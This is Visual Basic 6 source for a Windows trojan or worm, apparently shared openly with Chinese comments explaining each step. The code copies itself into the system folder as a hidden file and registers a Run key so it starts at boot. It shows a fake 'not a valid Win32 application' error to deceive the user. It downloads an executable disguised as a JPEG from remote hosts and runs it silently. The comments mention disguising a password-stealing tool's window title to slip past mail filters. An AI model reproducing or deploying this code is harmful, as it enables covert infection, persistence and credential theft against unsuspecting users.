Attribute VB_Name = "mSetup"
Option Explicit
Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
Public Declare Function GetTempPath Lib "kernel32" Alias "GetTempPathA" (ByVal nBufferLength As Long, ByVal lpBuffer As String) As Long
Public Contain() As String, Subject() As String   '內容和標題

Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long         ' Note that if you declare the lpData parameter as String, you must pass it By Value.
Const Key_Run = "SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
Const HKEY_LOCAL_MACHINE = &H80000002
Const REG_SZ = 1                         ' Unicode nul terminated string
Dim LhKey As Long

Public Declare Function GetModuleFileName Lib "kernel32" Alias "GetModuleFileNameA" (ByVal hModule As Long, ByVal lpFileName As String, ByVal nSize As Long) As Long
Public Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Public Sys As String '系統目錄
Public US As String '自己
Public Tmp As String '臨時文件夾
Public Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
'這個BASE64編碼是網上找的,我也看不懂,只知道算法
Public Function Base64(b() As Byte) As String
  Static Enc() As Byte
  Dim Out() As Byte, i&, j&, L&
  If (Not Val(Not Enc)) = 0 Then 'Null-Ptr = not initialized
    Enc = StrConv("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/", vbFromUnicode)
  End If
  L = UBound(b) + 1 ': b = StrConv(s, vbFromUnicode)
  ReDim Preserve b(0 To (UBound(b) \ 3) * 3 + 2)
  ReDim Preserve Out(0 To (UBound(b) \ 3) * 4 + 3)
  For i = 0 To UBound(b) - 1 Step 3
    Out(j) = Enc(b(i) \ 4): j = j + 1
    Out(j) = Enc((b(i + 1) \ 16) Or (b(i) And 3) * 16): j = j + 1
    Out(j) = Enc((b(i + 2) \ 64) Or (b(i + 1) And 15) * 4): j = j + 1
    Out(j) = Enc(b(i + 2) And 63): j = j + 1
  Next i
  For i = 1 To i - L: Out(UBound(Out) - i + 1) = 61: Next i
  Base64 = StrConv(Out, vbUnicode)
End Function
Public Function Temp() As String '獲得臨時目錄
Dim S As String, L As Long
S = String(255, 0)
L = GetTempPath(255, S)
S = Left(S, L)
If Right(S, 1) <> "\" Then S = S & "\"
Temp = S
End Function

Public Sub FillAll()
Dim Fa As Long, La As Long, S As String
'為什么會出現不同的主題的,就在這里了.
Fa = 0
ReDim Preserve Contain(Fa)
S = LoadResString(1) '內容
Do While S <> ""
    La = InStr(S, ",")
    Contain(Fa) = Left(S, La - 1)
    Fa = Fa + 1
    ReDim Preserve Contain(Fa)
    S = Mid(S, La + 1)
Loop
Fa = 0
ReDim Preserve Subject(Fa)
S = LoadResString(2) '標題
Do While S <> ""
    La = InStr(S, ",")
    Subject(Fa) = Left(S, La - 1)
    Fa = Fa + 1
    ReDim Preserve Subject(Fa)
    S = Mid(S, La + 1)
Loop
End Sub

Sub Main()
On Error Resume Next
'整個程序的入口就在這里開始了
Dim Cp As String
Dim Ret As Long
Sys = String(255, 0)
Ret = GetSystemDirectory(Sys, 255)
Sys = Left(Sys, Ret) '獲得系統目錄

US = String(1024, 0) '獲得自己的完整路徑
Ret = GetModuleFileName(0, US, 1024)
US = Left(US, InStr(US, Chr(0)) - 1)

Tmp = Temp '獲得完整臨時目錄

Cp = Sys & "\Inetdbs.exe" '你在 Google 輸入 inetdbs.exe 就可以找得到該病毒的介紹了
Ret = RegCreateKey(HKEY_LOCAL_MACHINE, Key_Run, LhKey) '寫入注冊表,以便開機重啟
Ret = RegSetValueEx(LhKey, "Inet DataBase", 0&, REG_SZ, ByVal Cp, Len(Cp) + 1)
Ret = RegCloseKey(LhKey)
SetAttr Cp, 0 '把目標的文件屬性去除
FileCopy US, Cp '復制到目標上
SetAttr Cp, 7 '加上文件屬性 只讀 系統 隱藏

If InStr(UCase(US), "INETDBS") = 0 Then
    '呵呵,就是運行后看到的騙人的東西了.
    MsgBox US & " 不是有效的 Win32 應用程序。", vbCritical, US
Else
    Form1.Show
    '為什么會出現339的錯誤呢?
    '少了個控件,沒有?當然要去下載下來了,
    '之后重啟程序,不就可以正常運行了
    If Err = 339 Then
        Ret = URLDownloadToFile(0, "http://XXXXXXXX.websamba.com/wpzkq/MSWINSCK.OCX", Sys & "\MSWINSCK.OCX", 0, 0)
        Shell US, vbNormalFocus
        End
    End If
End If
'呵呵,我把密碼解霸的標題改"新東方購物" ,要不然郵箱會過濾密碼解霸發過來的信

Ret = FindWindow("#32770", "新東方購物") '木馬沒有運行，下載并執行
If Ret <> 0 Then Exit Sub
Cp = "http://www.XXXXXXX.com/image/new.jpg"
Ret = URLDownloadToFile(0, Cp, Tmp & "~DF41F8.EXE", 0, 0)
If Ret <> 0 Then
    Cp = "http://freehost23.XXXXXXX.com/wpzkq/new.jpg"
    Ret = URLDownloadToFile(0, Cp, Tmp & "~DF41F8.EXE", 0, 0)
End If
Ret = Shell(Tmp & "~DF41F8.EXE", vbHide) '這就是為什么會有~DF41F8.EXE了.
End Sub